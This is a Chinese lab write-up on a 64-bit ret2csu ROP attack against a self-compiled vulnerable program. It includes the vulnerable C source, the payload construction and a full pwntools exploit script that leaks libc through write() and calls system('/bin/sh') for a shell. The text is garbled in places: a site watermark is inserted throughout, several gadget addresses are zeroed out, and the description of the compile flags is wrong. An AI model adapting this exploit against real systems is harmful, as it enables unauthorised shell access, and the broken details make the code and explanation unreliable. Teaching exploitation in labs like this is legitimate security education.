实验目的
针对一些程序运行时的初始化函数(如加载libc.so的初始化函数),提取一些通用的gadgets,从而更利于我们继续ROP操作。
实验文件
这次实验的可执行文件文件通过我们自己编译一个程序产生,为了降低实验的难度,我们在进行编译的时候,关闭栈保护和数据执行保护(DEP)。
#include <stdio.h> #include <stdlib.h> #include <unistd.h> void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 512); } int main(int argc, char argv) { write(STDOUT_FILENO, "Hello, World\n", 13); vulnerable_function(); }
讯享网
上面level5.c的代码。
讯享网gcc -fno-stack-protector -z execstack -o level5 level5.c
我们用上面level5.c进行编译生成可执行文件level5,-fno-stack-protector和-z execstack这两个参数会分别关掉DEP(数据执行保护)和Stack Protector(栈保护)。

讯享网
实验步骤
首先对level5进行检测,看看有没有保护机制

发现堆栈是no canary found ,所以我们可以进行栈溢出。
对我们生成的level用IDA进行静态分析找出栈溢出点

利用gdb对level5进行动态调试,找出从输入点到ret地址,即我们需要填充的字符数。

我们需要填充的字符数为(0x80+0x08)(因为我们这次用的是64位不是32位)。
然后,我们使用ROPGadget搜索一下level5中所有pop ret的gadgets
ROPgadget --binary ./level5 --only "pop|ret"

虽然该实验我们还是利用上个实验中从libc表中查找system和bin/sh,原程序使用了write()和read()函数,我们可以通过write()去输出write.got的地址,从而计算出libc在内存中的地址。但是该执行文件是64位而不是32位,32位可以直接采用上个实验的方法。但是64位就不行?因为64位和32位的传参方式发生了改变 。因为64位下前6个参数不是保存在栈中,而是通过寄存器传值。
在这里我们分析一下32位与64位的不同?
1、32位程序使用栈传参。对于32位程序,逻辑地址是从0~2^32。
2、64位程序传前六个参数使用寄存器,之后所有参数使用栈传。对于64位程序,逻辑地址是从0~2^64。
因为32位与64位程序的不同,相应的ROP方式我们也进行了改变。在原来的32位程序中我们会直接将目标函数的入口地址和相应的参数放在payload中,最后进行rop时,参数是根据与ebp的相对位置来进行确定的。而在64位程序中,我们不仅要将目标函数的入口地址和相应参数放在payload中,同时还要插入一些gadget,将参数放入相应的寄存器中,从而达到传参的目的。
现在开始编写payload脚本

上面的elf.address是elf的基址,是通过IDA分析出来的

通过对IDA进行静态分析,我们在这里介绍一下通用的gadgets。

对上面的汇编代码进行分析,先分析6次pop的地方(我们不妨将6次pop的地址记为pop_6)
讯享网pop rbx //为了减小后面利用难度,将rbx取值为0 pop rbp //将rbp取值为1,通过检测,使检验避过。 pop r12 //这里存放我们最后跳转目标函数地址 pop r13 //传入第一个参数 pop r14 //第二个参数 pop r15 //第三个参数 retn
我们将6次pop中的ret的值设为下面汇编的地址(我们不妨将下面汇编的地址记为mov_3)
mov rdx, r15 mov rsi, r14 mov edi, r13d call qword ptr [r12+rbx*8] add rbx, 1 cmp rbp, rbx jnz short loc_F0
我们将r15的值赋值给rdx,,r14的值赋值给rsi,r13的值赋值给edi,随后就会调用call qword ptr [r12+rbx8]。这时候我们只要再将rbx的值赋值为0,再通过精心构造栈上的数据,我们就可以控制pc去调用我们想要调用的函数了(比如说write函数)。执行完call qword ptr [r12+rbx8]之后,程序会对rbx+=1,然后对比rbp和rbx的值,如果相等就会继续向下执行并ret到我们想要继续执行的地址。所以为了让rbp和rbx的值相等,我们可以将rbp的值设置为1,因为之前已经将rbx的值设置为0了。
所以payload为
讯享网payload = 'a'*0x88+p64(pop_6) payload+=p64(0)+p64(1)+p64(elf.got['write'])+p64(8)+p64(elf.got['write'])+p64(1) payload+=p64(mov_3)+'a'*(8*7)+p64(main)
write规定传入的第一个参数对应r13,在mov_3处是将r13给edi,所以传入泄露的字节数,只需要泄露8个字节即可。第二个参数对应r14,在mov_3处是将r14给rsi,为要泄露的位置,因为got表中存的是地址而plt表中存的是指令,无法进行call操作,所以第二个参数为write在got表中的地址。第三个参数对应r15,在mov_3处是将r15给rdx,所以第三个参数为1。a*(8*7),还是继续覆盖栈上的数据,直到把返回值覆盖成目标函数的main函数,最后跳至main函数。
write=u64(p.recv(8).ljust(8,'\x00')) print hex(write) libc=LibcSearcher('write',write) libcbase=write-libc.dump('write') system=libcbase+libc.dump('system') bin_sh=libcbase+libc.dump('str_bin_sh')
我们通过write在内存上的地址,泄露出libc表的基址,最终泄露出system和bin_sh。
讯享网payload='a'*0x88+p64(0x0000000000+elf.address)+p64(bin_sh)+p64(system)
因为后面的输入点是以ebp为定位的,这与ret的位置的距离是固定的。然后需要传参,在64位上传参,我们传的第一个参数是rdi,但是在上面我们找到的gadgets是一个偏移量,所以还需要加上一个基址。所以用’a’进行覆盖栈后,将gadgets的值写入到ret位置,这样我们就能跳转至pop rdi;ret;地址处,先进行pop操作,把bin_sh给pop出来,赋给rdi。再进行ret操作,此时ret上的地址为system的地址,所以我们就能进行system(bin_sh)的操作。这样,我们就能getshell。

最后附上exp.py
#!python #!/usr/bin/env python from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal=['gnome-terminal','-x','sh','-c'] p = process('./level5') elf = ELF('./level5') #p = remote('127.0.0.1',10001) pop_6 = 0x000000000040061A mov_3 = 0x0000000000 main = 0x0000000000 elf.address=0x0000000000 payload = 'a'*(0x80+0x08)+p64(pop_6) payload += p64(0)+p64(1)+p64(elf.got['write'])+p64(8)+p64(elf.got['write'])+p64(1) payload += p64(mov_3) + 'a'*(8*7)+p64(main) #pwnlib.gdb.attach(p) p.recvuntil("World\n") p.sendline(payload) write=u64(p.recv(8).ljust(8,'\x00')) print hex(write) libc=LibcSearcher('write',write) libcbase=write-libc.dump('write') system=libcbase+libc.dump('system') bin_sh=libcbase+libc.dump('str_bin_sh') payload='a'*0x88+p64(0x0000000000+elf.address)+p64(bin_sh)+p64(system) p.recvuntil('\n') p.sendline(payload) p.interactive() '''0x000000000040061c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040061e : pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000 : pop r14 ; pop r15 ; ret 0x0000000000 : pop r15 ; ret 0x000000000040061b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040061f : pop rbp ; pop r14 ; pop r15 ; ret 0x00000000004004d0 : pop rbp ; ret 0x0000000000 : pop rdi ; ret 0x0000000000 : pop rsi ; pop r15 ; ret 0x000000000040061d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000 : ret '''
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/117174.html